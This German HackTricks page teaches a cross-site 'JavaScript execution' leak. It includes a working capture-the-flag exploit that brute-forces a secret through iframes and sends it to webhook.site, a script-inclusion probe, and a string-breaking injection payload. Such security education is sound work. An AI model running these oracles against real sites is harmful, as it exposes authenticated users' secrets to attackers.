JavaScript Execution XS Leak

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks

Dieses XS-Search-Primitive verwandelt ob eine cross-origin Response als JavaScript ausgeführt wird in ein Boolean oracle.

Das übliche Setup ist:

  • Positive state: Das Ziel gibt attacker-controlled Text oder sensitive content zurück, der nicht als attacker JavaScript ausgeführt wird.
  • Negative state: Das Ziel spiegelt attacker-controlled Text in einen Bereich, der als gültiges JavaScript geparst wird, sodass der attacker einen Callback wie window.parent.foo() erzwingen kann.
  • Leak: Lade das Ziel mit einem klassischen <script src> und beobachte, ob der Callback ausgelöst wird.

Das ist im Grunde ein execution oracle, kein timing oracle. Das Einzige, was der attacker braucht, ist eine cross-origin script inclusion, die sich je nach secret-abhängigem Branch unterschiedlich verhält.

Für den allgemeinen XS-Leaks-Kontext siehe:

HackTricks

When This Works

Diese Technik ist praktisch, wenn alle folgenden Punkte zutreffen:

  • Das Opfer ist beim target origin authentifiziert.
  • Der attacker kann den Browser des Opfers dazu bringen, ein classic script vom target origin anzufordern.
  • Ein Branch gibt Inhalt zurück, der gültiges attacker-controlled JavaScript ist.
  • Der andere Branch gibt Inhalt zurück, der den attacker callback nicht ausführt.

In der Praxis sind die einfachsten Fälle Search/debug-Endpunkte, die:

  • attacker-controlled Text zurückgeben, wenn ein Guess falsch ist
  • einen anderen Body zurückgeben, wenn der Guess richtig ist
  • dem attacker erlauben, einen Parameter wie callback, hint, msg oder ein reflektiertes Prefix/Suffix zu wählen

Basic Example

Server-side code that will try ${guess} as a flag prefix:

app.get("/guessing", function (req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
})

Hauptseite, die iframes zur vorherigen /guessing-Seite erzeugt, um jede Möglichkeit zu testen:

<html>
<head>
<script>
let candidateIsGood = false
let candidate = ""
let flag = "bi0sctf{"
let guessIndex = -1

let flagChars =
"_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"

// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}

timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch("https://webhook.site/<yours-goes-here>?flag=" + flag)
}

// Start with true and change to false if the guess is wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch("https://webhook.site/<yours-goes-here>")
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(
candidate
)}"></iframe>`
hack.innerHTML = iframe
}, 500)
</script>
</head>
<p>hello</p>
<div id="hack"></div>
</html>

Die Angreiferlogik ist:

  1. Starte jeden Kandidaten als “good”.
  2. Lade die Zielantwort als script.
  3. Wenn die Antwort window.parent.foo() ausführt, markiere den Kandidaten als falsch.
  4. Wenn kein callback ausgelöst wird, behalte den Kandidaten und fahre mit dem brute-forcing fort.

Minimal Probe Pattern

In vielen realen Zielen ist kein iframe erforderlich. Eine direkte script-Einbindung reicht aus:

<script>
let hit = true
function miss() {
hit = false
}

function probe(url) {
return new Promise((resolve) => {
hit = true
const s = document.createElement("script")
s.src = url
s.onload = () => resolve(hit)
s.onerror = () => resolve(false)
document.head.appendChild(s)
})
}
</script>

Wenn der „wrong guess“-Zweig miss() widerspiegelt, dann:

  • probe(...) === false bedeutet, dass der Callback ausgeführt wurde oder das Laden fehlgeschlagen ist
  • probe(...) === true bedeutet, dass das Script geladen wurde, ohne den Angreifer-Callback auszuführen

Für Zuverlässigkeit verwende ein frisches script element pro Probe und füge einen cache-buster wie ?r=${crypto.randomUUID()} hinzu.

Modern Caveats

It must be a classic script

Diese primitive basiert darauf, dass der Browser die Ressource als classic script abruft. Ein einfaches <script src=...> ohne crossorigin wird im no-cors-Modus geladen, und genau deshalb ist dieses alte Muster cross-origin immer noch nützlich.

Wechsle für diese Technik nicht zu type="module":

  • cross-origin module scripts require CORS
  • viele Targets, die sich als classic scripts einbinden lassen, schlagen als Modules einfach fehl

MIME type and nosniff decide whether the payload executes

Aktuelle Browser sind strenger als ältere Writeups. Wenn das Target X-Content-Type-Options: nosniff setzt, blockiert der Browser eine Script-Response, deren MIME type kein JavaScript MIME type ist.

Das bedeutet, dass dieses oracle oft davon abhängt:

  • ob das Target application/javascript / text/javascript zurückgibt
  • ob das Target text/plain, text/html oder JSON zurückgibt
  • ob nosniff vorhanden ist

Das ist auch der Grund, warum manche Endpoints nur in einem Zweig einen leak liefern: Eine Response wird als Script akzeptiert, während der andere Zweig blockiert oder anders geparst wird.

CORB can change the observable result

CORB fügt einen weiteren Zweig hinzu, den man berücksichtigen muss. Wenn eine Response als CORB-protected gilt, kann Chromium daraus eine empty valid script response machen, statt einen Parse-Fehler anzuzeigen. Für manche Endpoints gilt daher:

  • ein Zustand löst einen normalen Script-Parse / Callback aus
  • ein anderer Zustand wird zu einem leeren Script und nur onload wird ausgelöst

Das ist trotzdem ein nützliches oracle, aber das Signal ist jetzt callback vs no callback oder onload vs onerror, nicht nur „JavaScript ausgeführt oder nicht“.

CSP can kill the attacker-controlled branch

Striktes CSP auf der target response kann diese primitive brechen, wenn der reflektierte Zweig kein ausführbares JavaScript mehr ist. Öffentliche XS-Leak Challenge-Writeups von 2022 bis 2024 stützen sich wiederholt auf dieses Detail:

  • script-src 'none' kann Angreifer zwingen, von einem direkten execution oracle weg zu pivotieren
  • CSP/SRI/CSP-report-Interaktionen können immer noch andere leak oracles erzeugen, aber die gehören zu anderen Seiten/Techniken

Wenn also der offensichtliche Callback-Trick nicht funktioniert, prüfe die Response-Header, bevor du den Endpoint verwirfst.

Useful Variants

Callback-parameter endpoints

Das bequemste Target ist ein JSONP-ähnlicher oder Debug-Endpoint, der einen Parameter wie diese akzeptiert:

  • callback=...
  • cb=...
  • jsonp=...
  • hint=...
  • msg=...

Wenn der „miss“-Zweig diesen Wert unverändert in ausführbares JavaScript reflektiert, während der „hit“-Zweig anderen Content zurückgibt, erhältst du ein direktes Boolean-oracle ohne Timing-Messung.

Syntax-preserving prefixes and suffixes

Manchmal kannst du den Response Body nicht vollständig kontrollieren, aber trotzdem den negativen Zweig ausführbar machen:

  • den aktuellen String oder Funktions-Parameter schließen
  • den Callback injizieren
  • die restlichen Bytes auskommentieren

Zum Beispiel ein reflektierter Zweig wie:

showResult("<attacker>");

kann oft umgewandelt werden in:

showResult("");window.parent.foo();//");

Wenn der positive Branch dieses Payload nicht reflektiert, wird der callback zum oracle.

Kombinieren mit ereignisbasierten oracles

Wenn der endpoint über verschiedene Browser hinweg instabil ist, mische das execution oracle mit den allgemeinen script load events, die bereits im Abschnittsindex behandelt wurden:

  • callback fired
  • onload
  • onerror

Das ist besonders nützlich, wenn ein Branch gültiges JavaScript liefert und ein anderer Branch blockiertes MIME / CORB / CSP-Verhalten.

Verwandte Seiten:

Praktische Hinweise

  • Bevorzuge ein Bit pro request und halte den callback-seitigen Effekt einfach.
  • Wenn du viele Kandidaten prüfst, entferne zuvor eingefügte <script>-Elemente oder isoliere jeden Versuch in einem frischen iframe.
  • Cache- und service worker-Verhalten kann das oracle verfälschen; verwende cache-busting.
  • Dieses Primitive ist am stärksten, wenn der negative Branch vollständig attacker-controlled JavaScript ist. Wenn du nur partielle Reflection bekommst, wird der Exploit zu einem payload-shaping-Problem statt zu einem XS-Search-Problem.

References

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks